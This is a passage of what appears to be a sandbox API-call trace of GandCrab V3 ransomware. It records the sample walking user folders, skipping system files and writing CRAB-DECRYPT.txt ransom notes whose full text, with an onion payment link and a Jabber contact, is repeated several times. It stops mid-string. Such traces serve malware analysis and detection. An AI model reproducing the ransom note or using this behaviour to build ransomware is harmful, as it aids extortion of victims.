	[0135.815] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.815] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.815] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1
	[0135.815] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1
	[0135.815] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk"
	[0135.815] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.815] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 93
	[0135.815] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 93
	[0135.816] lstrlenW (lpString=".lnk") returned 4
	[0135.816] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.816] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0135.816] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.816] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.816] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0135.816] FindClose (in: hFindFile=0x3248430 | out: hFindFile=0x3248430) returned 1
	[0135.817] FindNextFileW (in: hFindFile=0x32484f0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0135.817] FindClose (in: hFindFile=0x32484f0 | out: hFindFile=0x32484f0) returned 1
	[0135.817] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.817] lstrcmpW (lpString1="Windows", lpString2=".") returned 1
	[0135.817] lstrcmpW (lpString1="Windows", lpString2="..") returned 1
	[0135.817] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows"
	[0135.817] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\"
	[0135.817] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.817] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.817] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0135.817] FindClose (in: hFindFile=0x32483b0 | out: hFindFile=0x32483b0) returned 1
	[0135.818] FindNextFileW (in: hFindFile=0x3247df0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0135.818] FindClose (in: hFindFile=0x3247df0 | out: hFindFile=0x3247df0) returned 1
	[0135.818] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0135.818] FindClose (in: hFindFile=0x3248230 | out: hFindFile=0x3248230) returned 1
	[0135.818] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.818] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1
	[0135.818] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1
	[0135.818] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0135.818] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\"
	[0135.818] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.819] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.819] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.819] lstrcmpiW (lpString1="C:\\Users\\Default\\Application Data\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.819] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.819] lstrcmpiW (lpString1="C:\\Users\\Default\\Application Data\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.819] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.819] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Application Data\\\\CRAB-DECRYPT.txt") returned 51
	[0135.819] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\application data\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0135.820] GetLastError () returned 0x50
	[0135.820] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.820] lstrlenW (lpString="C:\\Users\\Default\\Application Data\\") returned 34
	[0135.820] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Application Data\\*") returned="C:\\Users\\Default\\Application Data\\*"
	[0135.820] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0135.821] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.821] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1
	[0135.821] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1
	[0135.821] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0135.821] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\"
	[0135.821] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.821] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.822] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.822] lstrcmpiW (lpString1="C:\\Users\\Default\\Cookies\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.822] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.822] lstrcmpiW (lpString1="C:\\Users\\Default\\Cookies\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.822] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.822] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Cookies\\\\CRAB-DECRYPT.txt") returned 42
	[0135.822] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\cookies\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0135.823] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.823] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.825] CloseHandle (hObject=0x3d4) returned 1
	[0135.825] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.825] lstrlenW (lpString="C:\\Users\\Default\\Cookies\\") returned 25
	[0135.825] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*"
	[0135.825] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0135.825] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.825] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.825] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.825] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\CRAB-DECRYPT.txt"
	[0135.826] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.826] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\CRAB-DECRYPT.txt") returned 33
	[0135.826] lstrlenW (lpString="C:\\Users\\Default\\CRAB-DECRYPT.txt") returned 33
	[0135.826] lstrlenW (lpString=".txt") returned 4
	[0135.826] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.826] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.826] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.827] lstrlenW (lpString="C:\\Users\\Default\\CRAB-DECRYPT.txt") returned 33
	[0135.827] lstrlenW (lpString="C:\\Users\\Default\\CRAB-DECRYPT.txt") returned 33
	[0135.827] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.827] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.827] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.828] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.828] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.829] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.829] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1
	[0135.829] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1
	[0135.829] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0135.829] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\"
	[0135.829] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.830] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.830] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.830] lstrcmpiW (lpString1="C:\\Users\\Default\\Desktop\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.830] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.831] lstrcmpiW (lpString1="C:\\Users\\Default\\Desktop\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.831] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.831] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Desktop\\\\CRAB-DECRYPT.txt") returned 42
	[0135.831] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\desktop\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0135.832] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.832] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.833] CloseHandle (hObject=0x3d4) returned 1
	[0135.833] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.833] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\") returned 25
	[0135.833] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*"
	[0135.833] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32483b0
	[0135.833] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.833] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.833] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.833] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.833] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.833] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.834] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.834] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt"
	[0135.834] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.834] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt") returned 41
	[0135.834] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt") returned 41
	[0135.834] lstrlenW (lpString=".txt") returned 4
	[0135.834] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.834] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.834] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.835] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt") returned 41
	[0135.835] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\CRAB-DECRYPT.txt") returned 41
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.835] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.835] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.835] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0135.835] FindClose (in: hFindFile=0x32483b0 | out: hFindFile=0x32483b0) returned 1
	[0135.835] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.836] lstrcmpW (lpString1="Documents", lpString2=".") returned 1
	[0135.836] lstrcmpW (lpString1="Documents", lpString2="..") returned 1
	[0135.836] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0135.836] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\"
	[0135.836] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.836] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.836] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.837] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.837] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.837] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.837] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.837] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Documents\\\\CRAB-DECRYPT.txt") returned 44
	[0135.837] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\documents\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.090] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install 